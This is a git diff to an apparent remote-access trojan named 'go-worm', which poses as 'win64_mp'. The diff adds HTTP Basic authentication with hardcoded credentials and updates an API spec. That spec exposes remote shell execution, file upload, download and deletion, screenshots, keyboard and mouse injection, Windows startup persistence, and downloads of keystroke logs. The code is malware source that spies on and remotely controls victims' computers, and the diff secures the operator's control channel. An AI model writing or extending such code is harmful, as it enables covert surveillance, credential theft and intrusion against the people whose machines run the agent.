diff --git a/lib/agent/agent.go b/lib/agent/agent.go index b7d9a84..f87b151 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -85,7 +85,7 @@ func (a *Agent) Serve() error { a.server = &http.Server{ Addr: a.addr, - Handler: helpers.RecoverHandler(mux), + Handler: helpers.RecoverHandler(helpers.BasicAuth(mux)), ReadHeaderTimeout: 10 * time.Second, ReadTimeout: 30 * time.Second, WriteTimeout: 150 * time.Second, diff --git a/lib/config/config.go b/lib/config/config.go index 8d0d631..0c3370a 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -27,6 +27,8 @@ const ( KeylogSubdir = "keystrokes" ClipboardSubdir = "clipboard" DefaultKeylogRetentionDays = 7 + AuthUser = "admin" + AuthPass = "blueberries" ) func EnvOr(name, fallback string) string { diff --git a/lib/helpers/auth.go b/lib/helpers/auth.go new file mode 100644 index 0000000..83c6ddf --- /dev/null +++ b/lib/helpers/auth.go @@ -0,0 +1,29 @@ +package helpers + +import ( + "crypto/subtle" + "net/http" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func BasicAuth(next http.Handler) http.Handler { + user := []byte(config.AuthUser) + pass := []byte(config.AuthPass) + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/openapi", "/openapi.json": + next.ServeHTTP(w, r) + return + } + u, p, ok := r.BasicAuth() + if !ok || + subtle.ConstantTimeCompare([]byte(u), user) != 1 || + subtle.ConstantTimeCompare([]byte(p), pass) != 1 { + w.Header().Set("WWW-Authenticate", `Basic realm="win64_mp"`) + WriteError(w, http.StatusUnauthorized, "unauthorized") + return + } + next.ServeHTTP(w, r) + }) +} diff --git a/lib/helpers/auth_test.go b/lib/helpers/auth_test.go new file mode 100644 index 0000000..ea46d9a --- /dev/null +++ b/lib/helpers/auth_test.go @@ -0,0 +1,51 @@ +package helpers + +import ( + "net/http" + "net/http/httptest" + "testing" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func TestBasicAuth(t *testing.T) { + mux := http.NewServeMux() + mux.HandleFunc("/openapi", func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusOK) + }) + mux.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusOK) + }) + h := BasicAuth(mux) + + t.Run("openapi public", func(t *testing.T) { + req := httptest.NewRequest(http.MethodGet, "/openapi", nil) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status = %d, want 200", rec.Code) + } + }) + + t.Run("protected without creds", func(t *testing.T) { + req := httptest.NewRequest(http.MethodGet, "/health", nil) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + if rec.Code != http.StatusUnauthorized { + t.Fatalf("status = %d, want 401", rec.Code) + } + if got := rec.Header().Get("WWW-Authenticate"); got == "" { + t.Fatal("missing WWW-Authenticate") + } + }) + + t.Run("protected with creds", func(t *testing.T) { + req := httptest.NewRequest(http.MethodGet, "/health", nil) + req.SetBasicAuth(config.AuthUser, config.AuthPass) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status = %d, want 200", rec.Code) + } + }) +} diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index fb1c2d0..2e50022 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -24,43 +24,48 @@ func Spec() map[string]any { "application/json": map[string]any{"schema": schema}, }} } + auth := func(responses map[string]any) map[string]any { + responses["401"] = errResp("Unauthorized") + return responses + } return map[string]any{ "openapi": "3.0.3", "info": map[string]any{ "title": "win64_mp", - "description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.", + "description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access. HTTP Basic auth required (except /openapi).", "version": config.Version, }, "servers": []map[string]any{ {"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"}, }, + "security": []map[string]any{{"basicAuth": []string{}}}, "paths": map[string]any{ "/health": map[string]any{ "get": map[string]any{ "summary": "Health check", "operationId": "health", - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Agent is running", ref("Health")), - }, + }), }, }, "/healthz": map[string]any{ "get": map[string]any{ "summary": "Health check alias", "operationId": "healthz", - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Agent is running", ref("Health")), - }, + }), }, }, "/api/v1/status": map[string]any{ "get": map[string]any{ "summary": "Agent status", "operationId": "getStatus", - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Host and agent metadata", ref("Status")), - }, + }), }, }, "/api/v1/files": map[string]any{ @@ -71,12 +76,12 @@ func Spec() map[string]any { {"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"}, {"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"}, }, - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Directory listing", ref("FileList")), "400": errResp("Invalid path or depth"), "403": errResp("Path outside allowed root"), "404": errResp("Path not found"), - }, + }), }, "delete": map[string]any{ "summary": "Delete a file or directory", @@ -84,12 +89,12 @@ func Spec() map[string]any { "parameters": []map[string]any{ {"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}}, }, - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Deleted", ref("OkPath")), "400": errResp("Invalid path"), "403": errResp("Path outside allowed root"), "404": errResp("Path not found"), - }, + }), }, }, "/api/v1/download": map[string]any{ @@ -99,12 +104,12 @@ func Spec() map[string]any { "parameters": []map[string]any{ {"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}}, }, - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}}, "400": errResp("Invalid path or directory"), "403": errResp("Path outside allowed root"), "404": errResp("File not found"), - }, + }), }, }, "/api/v1/upload": map[string]any{ @@ -126,11 +131,11 @@ func Spec() map[string]any { }, }, }, - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Uploaded", ref("UploadResult")), "400": errResp("Invalid path or body"), "403": errResp("Path outside allowed root"), - }, + }), }, }, "/api/v1/screenshot": map[string]any{ @@ -142,7 +147,7 @@ func Spec() map[string]any { {"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"}, {"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}}, }, - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": map[string]any{ "description": "Screenshot image", "headers": map[string]any{ @@ -158,7 +163,7 @@ func Spec() map[string]any { }, "400": errResp("Invalid parameters"), "503": errResp("No interactive desktop available"), - }, + }), }, }, "/api/v1/exec": map[string]any{ @@ -166,27 +171,27 @@ func Spec() map[string]any { "summary": "Run a shell command", "operationId": "exec", "requestBody": jsonBody(ref("ExecRequest")), - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Command finished", ref("ExecResponse")), "400": errResp("Invalid command or timeout"), "504": errResp("Command timed out"), - }, + }), }, }, "/api/v1/startup": map[string]any{ "post": map[string]any{ "summary": "Add agent to Windows startup", "operationId": "enableStartup", - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Startup state", ref("StartupState")), - }, + }), }, "delete": map[string]any{ "summary": "Remove agent from Windows startup", "operationId": "disableStartup", - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Startup state", ref("StartupState")), - }, + }), }, }, "/api/v1/input/click": map[string]any{ @@ -194,10 +199,10 @@ func Spec() map[string]any { "summary": "Click the desktop", "operationId": "click", "requestBody": jsonBody(ref("ClickRequest")), - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Clicked", ref("ClickResult")), "400": errResp("Invalid coordinates or button"), - }, + }), }, }, "/api/v1/input/key": map[string]any{ @@ -205,10 +210,10 @@ func Spec() map[string]any { "summary": "Send a key press", "operationId": "sendKey", "requestBody": jsonBody(ref("KeyRequest")), - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Key sent", ref("KeyResult")), "400": errResp("Invalid key or action"), - }, + }), }, }, "/api/v1/input/text": map[string]any{ @@ -216,19 +221,19 @@ func Spec() map[string]any { "summary": "Type text into the focused field", "operationId": "typeText", "requestBody": jsonBody(ref("TextRequest")), - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Text typed", ref("TextResult")), "400": errResp("Invalid or empty text"), - }, + }), }, }, "/api/v1/keylog": map[string]any{ "get": map[string]any{ "summary": "List keystroke log files", "operationId": "listKeylogs", - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": okJSON("Keystroke log index", ref("KeylogList")), - }, + }), }, }, "/api/v1/keylog/download": map[string]any{ @@ -238,17 +243,20 @@ func Spec() map[string]any { "parameters": []map[string]any{ {"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"}, }, - "responses": map[string]any{ + "responses": auth(map[string]any{ "200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{ "text/plain": map[string]any{"schema": map[string]string{"type": "string"}}, }}, "400": errResp("Invalid filename"), "404": errResp("Log file not found"), - }, + }), }, }, }, "components": map[string]any{ + "securitySchemes": map[string]any{ + "basicAuth": map[string]any{"type": "http", "scheme": "basic"}, + }, "schemas": map[string]any{ "Error": map[string]any{ "type": "object", "required": []string{"error"}, diff --git a/lib/openapi/spec_test.go b/lib/openapi/spec_test.go index ef4c285..86ce2db 100644 --- a/lib/openapi/spec_test.go +++ b/lib/openapi/spec_test.go @@ -14,10 +14,16 @@ func TestSpec(t *testing.T) { if _, ok := paths["/api/v1/status"]; !ok { t.Fatal("missing /api/v1/status") } + if _, ok := spec["security"]; !ok { + t.Fatal("missing security") + } components, ok := spec["components"].(map[string]any) if !ok { t.Fatal("missing components") } + if _, ok := components["securitySchemes"]; !ok { + t.Fatal("missing securitySchemes") + } schemas, ok := components["schemas"].(map[string]any) if !ok || len(schemas) < 10 { t.Fatalf("expected schemas, got %d", len(schemas))